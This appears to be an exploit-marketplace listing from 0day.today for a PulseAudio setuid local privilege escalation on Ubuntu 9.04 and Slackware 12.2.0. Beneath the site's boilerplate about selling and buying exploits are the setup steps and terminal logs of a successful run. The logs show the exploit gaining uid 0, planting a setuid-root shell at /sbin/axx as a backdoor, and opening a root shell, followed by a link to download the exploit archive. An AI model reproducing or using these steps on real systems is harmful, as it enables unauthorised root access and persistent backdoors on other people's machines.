0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)
[===================================================================== PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0) ===================================================================== PulseAudio setuid Local Privilege Escalation Vulnerability Credit for discovery of bug: Tavis Ormandy, Julien Tinnes and Yorick Koster -- Put files in /tmp/pulseaudio-exp (or change config.h). Must be on same fs as the pulseaudio binary. Goes faster if you already have a pulseaudio running ? :p Tested with success on Ubuntu 9.04 (x86-64) and slackware 12.2.0 (x86) Ubuntu: ------------------------------------ $ ./c.sh $ ./pulseaudio-exp Please wait. [*] Seems we are uid = 0 and gid = 0 [*] mv /tmp/pulseaudio-exp/shell /sbin/axx [*] chown root.root /sbin/axx [*] chmod 4755 /sbin/axx Try: /sbin/axx /bin/sh $ /sbin/axx /bin/sh # id uid=0(root) gid=0(root) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(adm in),122(sambashare) # uname -a Linux ubuntu 2.6.28-13-generic #45-Ubuntu SMP Tue Jun 30 22:12:12 UTC 2009 x86_64 GNU/Linux ------------------------------------ Slackware ------------------------------------ $ ./c.sh $ ./pulseaudio-exp Please wait. [*] Seems we are uid = 0 and gid = 0 [*] mv /tmp/pulseaudio-exp/shell /sbin/axx [*] chown root.root /sbin/axx [*] chmod 4755 /sbin/axx Try: /sbin/axx /bin/sh $ /sbin/axx /bin/sh sh-3.1# id uid=0(root) gid=0(root) groups=17(audio),100(users),104(pulse-rt) sh-3.1# uname -a Linux slackware 2.6.27.7-smp #2 SMP Thu Nov 20 22:32:43 CST 2008 i686 Intel(R) Pentium(R) Dual CPU T3400 @ 2.16GHz GenuineIntel GNU/Linux ------------------------------------ back: http://inj3ct0r.com/sploits/769.zip # 0day.today [2024-05-14] #